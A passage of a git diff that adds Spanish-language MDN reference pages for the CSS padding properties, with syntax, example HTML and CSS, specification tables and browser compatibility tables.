+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-block-start/index.html b/files/es/web/css/padding-block-start/index.html
new file mode 100644
index 0000000000..3beaf5ca81
--- /dev/null
+++ b/files/es/web/css/padding-block-start/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-block-start
+slug: Web/CSS/padding-block-start
+translation_of: Web/CSS/padding-block-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>padding-block-start</code></strong> define el bloque lógico de inicio de relleno de un elemento, que se asigna a un relleno físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, or {{cssxref("padding-left")}} dependiendo de los valores definidos por  {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Esto se relaciona con {{cssxref("padding-block-end")}}, {{cssxref("padding-inline-start")}}, y {{cssxref("padding-inline-end")}}, que define los otros rellenos del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-block-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-block-start: 10px;      /* An absolute length */
+padding-block-start: 1em;       /* A length relative to the text size */
+
+/* &lt;percentage&gt; value */
+padding-block-start: 5%;        /* A padding relative to the block container's width */
+
+/* Global values */
+padding-block-start: inherit;
+padding-block-start: initial;
+padding-block-start: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>padding-block-start</code> toma los mismos valores de la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  padding-block-start: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block-start", "padding-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-block-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-block/index.html b/files/es/web/css/padding-block/index.html
new file mode 100644
index 0000000000..c237b61c4b
--- /dev/null
+++ b/files/es/web/css/padding-block/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-block
+slug: Web/CSS/padding-block
+translation_of: Web/CSS/padding-block
+---
+<p>{{CSSRef}}{{SeeCompatTable}} </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>padding-block</code></strong> define el relleno lógico de inicio y final del bloque de un elemento, que se asigna a las propiedades físicas del relleno según el modo de escritura del elemento, la direccionalidad y la orientación del texto.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-block: 10px 20px;  /* An absolute length */
+padding-block: 1em 2em;   /* relative to the text size */
+padding-block: 5% 2%;    /* relative to the nearest block container's width */
+padding-block: 10px; /* sets both start and end values */
+
+/* Keyword values */
+padding-block: auto;
+
+/* Global values */
+padding-block: inherit;
+padding-block: initial;
+padding-block: unset;
+</pre>
+
+<p>Estos valores corresponde a las propiedades {{cssxref("padding-top")}} y  {{cssxref("padding-bottom")}}, o  {{cssxref("padding-right")}}, y {{cssxref("padding-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Los valores pueden ser establecidos individualmente como {{cssxref("padding-block-start")}} y {{cssxref("padding-block-end")}}. La propiedad de dirección en línea es {{cssxref("padding-inline")}} que establece {{cssxref("padding-inline-start")}}, y {{cssxref("padding-inline-end")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">La propiedad </span></font>padding-block</code> toma los mismos valores que la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding-block: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block", "padding-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-block")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-bottom/index.html b/files/es/web/css/padding-bottom/index.html
new file mode 100644
index 0000000000..8e025a0c83
--- /dev/null
+++ b/files/es/web/css/padding-bottom/index.html
@@ -0,0 +1,135 @@
+---
+title: padding-bottom
+slug: Web/CSS/padding-bottom
+translation_of: Web/CSS/padding-bottom
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>La propiedad <strong><code>padding-bottom</code></strong> <a href="https://developer.mozilla.org/en/CSS" title="CSS">CSS</a> establece el espacio de relleno requerido en la parte inferior del elemento. El <a href="https://developer.mozilla.org/en/CSS/box_model#padding">área de padding</a> es el espacio entre el contenido del elemento y su borde. Contrariamente de la propiedad <strong><code>margin-bottom</code></strong>, valores negativos no son válidos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* &lt;length&gt; values (Valores fijos)*/
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* &lt;percentage&gt; value (Valores porcentuales)*/
+padding-bottom: 10%;
+
+/* Global values (Valores globales)*/
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>Especifica un valor positivo fijo. Veáse {{cssxref("&lt;length&gt;")}} para más detalles.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>Especifica un porcentaje con respecto al bloque que lo contiene.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="eval">.content { padding-bottom: 5%; }
+.sidebox { padding-bottom: 10px; }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change from {{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-bottom</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change from {{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/padding-inline-end/index.html b/files/es/web/css/padding-inline-end/index.html
new file mode 100644
index 0000000000..dd30fe2d15
--- /dev/null
+++ b/files/es/web/css/padding-inline-end/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-inline-end
+slug: Web/CSS/padding-inline-end
+translation_of: Web/CSS/padding-inline-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>padding-inline-end</code></strong> define el relleno final lógico en línea de un elemento, que se asigna a un relleno físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, o {{cssxref("padding-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Esto se relaciona con {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}}, and {{cssxref("padding-inline-start")}}, que define los otros rellenos del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-inline-end.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-inline-end: 10px;   /* An absolute length */
+padding-inline-end: 1em;    /* A length relative to the text size */
+
+/* &lt;percentage&gt; value */
+padding-inline-end: 5%;     /* A padding relative to the block container's width */
+
+/* Global values */
+padding-inline-end: inherit;
+padding-inline-end: initial;
+padding-inline-end: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>padding-inline-end</code> toma los mismos valores de la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  padding-inline-end: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline-end", "padding-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-inline-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-inline-start/index.html b/files/es/web/css/padding-inline-start/index.html
new file mode 100644
index 0000000000..696b045077
--- /dev/null
+++ b/files/es/web/css/padding-inline-start/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-inline-start
+slug: Web/CSS/padding-inline-start
+translation_of: Web/CSS/padding-inline-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a> <strong> <code>padding-inline-start</code></strong> define el relleno de inicio lógico en línea de un elemento, que se asigna a un relleno físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, or {{cssxref("padding-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Esto se relaciona con {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}}, y {{cssxref("padding-inline-end")}}, que define los rellenos de los otros elementos.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-inline-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-inline-start: 10px;   /* An absolute length */
+padding-inline-start: 1em;    /* A length relative to the text size */
+
+/* &lt;percentage&gt; value */
+padding-inline-start: 5%;     /* A padding relative to the block container's width */
+
+/* Global values */
+padding-inline-start: inherit;
+padding-inline-start: initial;
+padding-inline-start: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>padding-inline-start</code> toma los mismos valores de la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  padding-inline-start: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline-start", "padding-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-inline-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-inline/index.html b/files/es/web/css/padding-inline/index.html
new file mode 100644
index 0000000000..9e471d734e
--- /dev/null
+++ b/files/es/web/css/padding-inline/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-inline
+slug: Web/CSS/padding-inline
+translation_of: Web/CSS/padding-inline
+---
+<p>{{CSSRef}}{{SeeCompatTable}} </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>padding-inline</code></strong> define el relleno en línea lógico de inicio y final de un elemento, que asigna las propiedades de relleno físicas dependiendo del modo de escritura del elemento, direccionalidad, y orientación del texto.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-inline: 10px 20px;  /* An absolute length */
+padding-inline: 1em 2em;   /* relative to the text size */
+padding-inline: 5% 2%;    /* relative to the nearest block container's width */
+padding-inline: 10px; /* sets both start and end values */
+
+/* Keyword values */
+padding-inline: auto;
+
+/* Global values */
+padding-inline: inherit;
+padding-inline: initial;
+padding-inline: unset;
+</pre>
+
+<p>Estos valores corresponden a las propiedades{{cssxref("padding-top")}} y  {{cssxref("padding-bottom")}}, o  {{cssxref("padding-right")}}, y {{cssxref("padding-left")}} dependiendo de los valores definidos {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Los valores pueden ser establecidos individualmente como {{cssxref("padding-inline-start")}} y {{cssxref("padding-inline-end")}}. La propiedad de la dirección bloque es {{cssxref("padding-block")}} que establece {{cssxref("padding-block-start")}}, y {{cssxref("padding-block-end")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>padding-inline</code> toma los mismos valores de la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding-inline: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline", "padding-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-inline")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/padding-top/index.html b/files/es/web/css/padding-top/index.html
new file mode 100644
index 0000000000..a635951fcc
--- /dev/null
+++ b/files/es/web/css/padding-top/index.html
@@ -0,0 +1,135 @@
+---
+title: padding-top
+slug: Web/CSS/padding-top
+translation_of: Web/CSS/padding-top
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p class="brush: js">La propiedad <strong><code>padding-top</code></strong> <a href="/en/CSS" title="CSS">CSS</a> establece el espacio de relleno requerido en la parte superior del elemento. El <a href="/en/CSS/box_model#padding">área de padding</a> es el espacio entre el contenido del elemento y su borde. Contrariamente de la propiedad <strong><code>margin-top</code></strong>, valores negativos no son válidos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush:css">/* &lt;length&gt; values (valores fijos) */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* &lt;percentage&gt; value (valores porcentuales) */
+padding-top: 10%;
+
+/* Global values (valores globales) */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Especifica un valor positivo fijo. Veáse {{cssxref("&lt;length&gt;")}} para más detalles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Especifica un porcentaje con respecto al bloque que lo contiene.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">.content { padding-top: 5%; }
+.sidebox { padding-top: 10px; }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change from {{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-top</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change from {{ Specname('CSS1', '#padding-top', 'padding-top') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-top', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/padding/index.html b/files/es/web/css/padding/index.html
new file mode 100644
index 0000000000..fdff58428a
--- /dev/null
+++ b/files/es/web/css/padding/index.html
@@ -0,0 +1,178 @@
+---
+title: padding
+slug: Web/CSS/padding
+tags:
+  - Propiedades CSS
+translation_of: Web/CSS/padding
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>padding</code></strong> establece el espacio de relleno requerido por todos los lados de un elemento. El <a href="/en/CSS/box_model#padding" title="http://developer.mozilla.org/en/CSS/Box_model#padding">área de padding</a> es el espacio entre el contenido del elemento y su borde (<code>border</code>). No se permiten valores negativos.</p>
+
+<p>La propiedad padding es un atajo para evitar la asignación de cada lado por separado (<code>padding-top</code>, <code>padding-right</code>, <code>padding-bottom</code>, <code>padding-left</code>).</p>
+
+<p>{{EmbedInteractiveExample("pages/css/padding.html")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Padding crea espacio extra dentro de un elemento. En contraste, <code>margin</code> crea espacio extra <em>alrededor </em>de un elemento.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintaxis formal</a>: {{csssyntax("padding")}}</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Esta propiedad puede ser especificada utilizando uno, dos, tres o cuatro de los siguientes valores:</p>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Especifica un ancho fijo no negativo. Ver más detalles {{ cssxref("&lt;length&gt;") }} .</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Con respecto a la anchura("width") del bloque que lo contiene.</dd>
+</dl>
+
+<ul>
+ <li><strong>Uno:</strong> un valor unico se aplica a los 4 lados.</li>
+ <li><strong>Dos:</strong> el primer valor se aplica a <strong>arriba y abajo</strong>, el segundo valor se aplica a <strong>derecha e izquierda</strong>.</li>
+ <li><strong>Tres:</strong> el primer valor se aplica a <strong>arriba</strong>, el segundo valor a <strong>derecha e izquierda</strong> y el tercer valor se aplica a <strong>abajo </strong>del elemento.</li>
+ <li><strong>Cuatro:</strong> el primer valor se aplica a <strong>arriba</strong>, el segundo valor se aplica a la <strong>derecha</strong>, el tercer valor se aplica a <strong>abajo </strong>y el cuarto valor se aplica a la <strong>izquierda</strong>. </li>
+</ul>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<pre class="brush: css notranslate"> padding: 5%;               /* aplica 5% de padding en todos los lados*/
+</pre>
+
+<pre class="brush: css notranslate"> padding: 10px;              /* aplica 10px de padding en todos los lados */
+</pre>
+
+<pre class="brush: css notranslate"> padding: 10px 20px;         /*  arriba y abajo, 10px de padding */
+                             /* izquierda y derecha, 20px de padding */
+</pre>
+
+<pre class="brush: css notranslate"> padding: 10px 3% 20px;      /*  arriba, 10px de padding          */
+                             /*  izquierda y derecha, 3% de padding */
+                             /*  bottom, 20px padding       */
+</pre>
+
+<pre class="brush: css notranslate"> padding: 1em 3px 30px 5px;  /*  arriba    1em  padding  */
